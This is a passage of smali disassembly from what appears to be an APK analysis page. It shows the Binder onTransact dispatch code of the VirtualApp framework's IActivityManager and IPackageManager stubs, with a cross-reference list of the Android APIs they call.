                              1043invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->getPackageForIntentSender(Landroid/os/IBinder;)Ljava/lang/String;
                              1044move-result-object v0
                              1046invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              1048invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              1049goto/16 :goto_a
                              1050sswitch_5aa:
                              1051const-string v0, "com.lody.virtual.server.IActivityManager"
                              1053invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              1055invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              1056move-result-object v0
                              1058invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              1059move-result-object v1
                              1061invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              1062move-result v2
                              1064invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IActivityManager$Stub;->processRestarted(Ljava/lang/String;Ljava/lang/String;I)V
                              1066invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              1067goto/16 :goto_a
                              1068sswitch_5c3:
                              1069const-string v0, "com.lody.virtual.server.IActivityManager"
                              1071invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              1073invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              1074move-result v0
                              1075if-eqz v0, :cond_5de
                              1077sget-object v0, Lcom/lody/virtual/remote/PendingResultData;->CREATOR:Landroid/os/Parcelable$Creator;
                              1079invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              1080move-result-object v0
                              1081check-cast v0, Lcom/lody/virtual/remote/PendingResultData;
                              1082goto_5d6:
                              1083invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->broadcastFinish(Lcom/lody/virtual/remote/PendingResultData;)V
                              1085invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              1086goto/16 :goto_a
                              1087cond_5de: move-object v0, v4
                              1088goto/16 :goto_5d6
                              1089sswitch_5e0:
                              1090const-string v0, "com.lody.virtual.server.IActivityManager"
                              1092invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              1094invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              1095move-result v0
                              1096if-eqz v0, :cond_5fb
                              1098sget-object v0, Lcom/lody/virtual/remote/BadgerInfo;->CREATOR:Landroid/os/Parcelable$Creator;
                              1100invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              1101move-result-object v0
                              1102check-cast v0, Lcom/lody/virtual/remote/BadgerInfo;
                              1103goto_5f3:
                              1104invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IActivityManager$Stub;->notifyBadgerChange(Lcom/lody/virtual/remote/BadgerInfo;)V
                              1106invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              1107goto/16 :goto_a
                              1108cond_5fb: move-object v0, v4
                              1109goto/16 :goto_5f3
                              1110nop
                              Cross References
                              APIs
                              • android.os.Binder.onTransact
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getPackageUid
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getPackagesForUid
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStringArray
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IPackageManager$Stub.getSharedLibraries
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStringList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.checkPermission
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getPackageInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.PackageInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getActivityInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.ActivityInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IPackageManager$Stub.activitySupportsIntent
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getReceiverInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.ActivityInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getServiceInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.ServiceInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.ComponentName.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getProviderInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.ProviderInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.resolveIntent
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.ResolveInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.queryIntentActivities
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.queryIntentReceivers
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.resolveService
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.ResolveInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.queryIntentServices
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.content.Intent.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.queryIntentContentProviders
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getInstalledPackages
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getInstalledApplications
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getPermissionInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.PermissionInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.queryPermissionsByGroup
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getPermissionGroupInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.PermissionGroupInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getAllPermissionGroups
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.resolveContentProvider
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.ProviderInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getApplicationInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.content.pm.ApplicationInfo.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.queryContentProviders
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IPackageManager$Stub.querySharedPackages
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStringList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IPackageManager$Stub.getNameForUid
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IPackageManager$Stub.getPackageInstaller
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStrongBinder
                              Strings
                              • com.lody.virtual.server.IPackageManager
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2const/4 v4, 0x0
                              3const/4 v3, 0x1
                              4sparse-switch p1, :sswitch_data_42e
                              6invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              7move-result v3
                              8goto_a: return v3
                              9sswitch_b:
                              10const-string v0, "com.lody.virtual.server.IPackageManager"
                              12invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              13goto/16 :goto_a
                              14sswitch_11:
                              15const-string v0, "com.lody.virtual.server.IPackageManager"
                              17invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              19invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              20move-result-object v0
                              22invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              23move-result v1
                              25invoke-virtual {p0, v0, v1}, Lcom/lody/virtual/server/IPackageManager$Stub;->getPackageUid(Ljava/lang/String;I)I
                              26move-result v0
                              28invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              30invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              31goto/16 :goto_a
                              32sswitch_29:
                              33const-string v0, "com.lody.virtual.server.IPackageManager"
                              35invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              37invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              38move-result v0
                              40invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IPackageManager$Stub;->getPackagesForUid(I)[Ljava/lang/String;
                              41move-result-object v0
                              43invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              45invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStringArray([Ljava/lang/String;)V
                              46goto/16 :goto_a
                              47sswitch_3d:
                              48const-string v0, "com.lody.virtual.server.IPackageManager"
                              50invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              52invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              53move-result-object v0
                              55invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IPackageManager$Stub;->getSharedLibraries(Ljava/lang/String;)Ljava/util/List;
                              56move-result-object v0
                              58invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              60invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStringList(Ljava/util/List;)V
                              61goto/16 :goto_a
                              62sswitch_51:
                              63const-string v0, "com.lody.virtual.server.IPackageManager"
                              65invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              67invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              68move-result-object v0
                              70invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              71move-result-object v1
                              73invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              74move-result v2
                              76invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageManager$Stub;->checkPermission(Ljava/lang/String;Ljava/lang/String;I)I
                              77move-result v0
                              79invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              81invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              82goto/16 :goto_a
                              83sswitch_6d:
                              84const-string v0, "com.lody.virtual.server.IPackageManager"
                              86invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              88invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              89move-result-object v0
                              91invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              92move-result v1
                              94invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              95move-result v2
                              97invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageManager$Stub;->getPackageInfo(Ljava/lang/String;II)Landroid/content/pm/PackageInfo;
                              98move-result-object v0
                              100invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              101if-eqz v0, :cond_8f
                              103invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              105invoke-virtual {v0, p3, v3}, Landroid/content/pm/PackageInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              106goto/16 :goto_a
                              107cond_8f:
                              108invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              109goto/16 :goto_a
                              110sswitch_94:
                              111const-string v0, "com.lody.virtual.server.IPackageManager"
                              113invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              115invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              116move-result v0
                              117if-eqz v0, :cond_c0
                              119sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              121invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              122move-result-object v0
                              123check-cast v0, Landroid/content/ComponentName;
                              124goto_a7:
                              125invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              126move-result v1
                              128invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              129move-result v2
                              131invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageManager$Stub;->getActivityInfo(Landroid/content/ComponentName;II)Landroid/content/pm/ActivityInfo;
                              132move-result-object v0
                              134invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              135if-eqz v0, :cond_c2
                              137invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              139invoke-virtual {v0, p3, v3}, Landroid/content/pm/ActivityInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              140goto/16 :goto_a
                              141cond_c0: move-object v0, v1
                              142goto/16 :goto_a7
                              143cond_c2:
                              144invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              145goto/16 :goto_a
                              146sswitch_c7:
                              147const-string v0, "com.lody.virtual.server.IPackageManager"
                              149invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              151invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              152move-result v0
                              153if-eqz v0, :cond_fc
                              155sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              157invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              158move-result-object v0
                              159check-cast v0, Landroid/content/ComponentName;
                              160move-object v2, v0
                              161goto_db:
                              162invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              163move-result v0
                              164if-eqz v0, :cond_fe
                              166sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              168invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              169move-result-object v0
                              170check-cast v0, Landroid/content/Intent;
                              171goto_e9:
                              172invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              173move-result-object v1
                              175invoke-virtual {p0, v2, v0, v1}, Lcom/lody/virtual/server/IPackageManager$Stub;->activitySupportsIntent(Landroid/content/ComponentName;Landroid/content/Intent;Ljava/lang/String;)Z
                              176move-result v0
                              178invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              179if-eqz v0, :cond_100
                              180move v0, v3
                              181goto_f7:
                              182invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              183goto/16 :goto_a
                              184cond_fc: move-object v2, v1
                              185goto/16 :goto_db
                              186cond_fe: move-object v0, v1
                              187goto/16 :goto_e9
                              188cond_100: move v0, v4
                              189goto/16 :goto_f7
                              190sswitch_102:
                              191const-string v0, "com.lody.virtual.server.IPackageManager"
                              193invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              195invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              196move-result v0
                              197if-eqz v0, :cond_12e
                              199sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              201invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              202move-result-object v0
                              203check-cast v0, Landroid/content/ComponentName;
                              204goto_115:
                              205invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              206move-result v1
                              208invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              209move-result v2
                              211invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageManager$Stub;->getReceiverInfo(Landroid/content/ComponentName;II)Landroid/content/pm/ActivityInfo;
                              212move-result-object v0
                              214invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              215if-eqz v0, :cond_130
                              217invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              219invoke-virtual {v0, p3, v3}, Landroid/content/pm/ActivityInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              220goto/16 :goto_a
                              221cond_12e: move-object v0, v1
                              222goto/16 :goto_115
                              223cond_130:
                              224invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              225goto/16 :goto_a
                              226sswitch_135:
                              227const-string v0, "com.lody.virtual.server.IPackageManager"
                              229invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              231invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              232move-result v0
                              233if-eqz v0, :cond_161
                              235sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              237invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              238move-result-object v0
                              239check-cast v0, Landroid/content/ComponentName;
                              240goto_148:
                              241invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              242move-result v1
                              244invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              245move-result v2
                              247invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageManager$Stub;->getServiceInfo(Landroid/content/ComponentName;II)Landroid/content/pm/ServiceInfo;
                              248move-result-object v0
                              250invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              251if-eqz v0, :cond_163
                              253invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              255invoke-virtual {v0, p3, v3}, Landroid/content/pm/ServiceInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              256goto/16 :goto_a
                              257cond_161: move-object v0, v1
                              258goto/16 :goto_148
                              259cond_163:
                              260invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              261goto/16 :goto_a
                              262sswitch_168:
                              263const-string v0, "com.lody.virtual.server.IPackageManager"
                              265invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              267invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              268move-result v0
                              269if-eqz v0, :cond_194
                              271sget-object v0, Landroid/content/ComponentName;->CREATOR:Landroid/os/Parcelable$Creator;
                              273invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              274move-result-object v0
                              275check-cast v0, Landroid/content/ComponentName;
                              276goto_17b:
                              277invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              278move-result v1
                              280invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              281move-result v2
                              283invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IPackageManager$Stub;->getProviderInfo(Landroid/content/ComponentName;II)Landroid/content/pm/ProviderInfo;
                              284move-result-object v0
                              286invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              287if-eqz v0, :cond_196
                              289invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              291invoke-virtual {v0, p3, v3}, Landroid/content/pm/ProviderInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              292goto/16 :goto_a
                              293cond_194: move-object v0, v1
                              294goto/16 :goto_17b
                              295cond_196:
                              296invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              297goto/16 :goto_a
                              298sswitch_19b:
                              299const-string v0, "com.lody.virtual.server.IPackageManager"
                              301invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              303invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              304move-result v0
                              305if-eqz v0, :cond_1cb
                              307sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              309invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              310move-result-object v0
                              311check-cast v0, Landroid/content/Intent;
                              312goto_1ae:
                              313invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              314move-result-object v1
                              316invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              317move-result v2
                              319invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              320move-result v5
                              322invoke-virtual {p0, v0, v1, v2, v5}, Lcom/lody/virtual/server/IPackageManager$Stub;->resolveIntent(Landroid/content/Intent;Ljava/lang/String;II)Landroid/content/pm/ResolveInfo;
                              323move-result-object v0
                              325invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              326if-eqz v0, :cond_1cd
                              328invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              330invoke-virtual {v0, p3, v3}, Landroid/content/pm/ResolveInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              331goto/16 :goto_a
                              332cond_1cb: move-object v0, v1
                              333goto/16 :goto_1ae
                              334cond_1cd:
                              335invoke-virtual {p3, v4}, Landroid/os/Parcel;->writeInt(I)V
                              336goto/16 :goto_a
                              337sswitch_1d2:
                              338const-string v0, "com.lody.virtual.server.IPackageManager"
                              340invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              342invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              343move-result v0
                              344if-eqz v0, :cond_1fd
                              346sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              348invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              349move-result-object v0
                              350check-cast v0, Landroid/content/Intent;
                              351goto_1e5:
                              352invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              353move-result-object v1
                              355invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              356move-result v2
                              358invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              359move-result v4
                              361invoke-virtual {p0, v0, v1, v2, v4}, Lcom/lody/virtual/server/IPackageManager$Stub;->queryIntentActivities(Landroid/content/Intent;Ljava/lang/String;II)Ljava/util/List;
                              362move-result-object v0
                              364invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              366invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              367goto/16 :goto_a
                              368cond_1fd: move-object v0, v1
                              369goto/16 :goto_1e5
                              370sswitch_1ff:
                              371const-string v0, "com.lody.virtual.server.IPackageManager"
                              373invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              375invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              376move-result v0
                              377if-eqz v0, :cond_22a
                              379sget-object v0, Landroid/content/Intent;->CREATOR:Landroid/os/Parcelable$Creator;
                              381invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              382move-result-object v0
                              383check-cast v0, Landroid/content/Intent;
                              384goto_212:
                              385invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              386move-result-object v1
                              388invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              389move-result v2
                              391invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              392move-result v4
                              394invoke-virtual {p0, v0, v1, v2, v4}, Lcom/lody/virtual/server/IPackageManager$Stub;->queryIntentReceivers(Landroid/content/Intent;Ljava/lang/String;II)Ljava/util/List;
                              395move-result-object v0
                              397invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              399invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              400goto/16 :goto_a
                              401cond_22a: move-object v0, v1
                              402goto/16 :goto_212
                              403sswitch_22c:
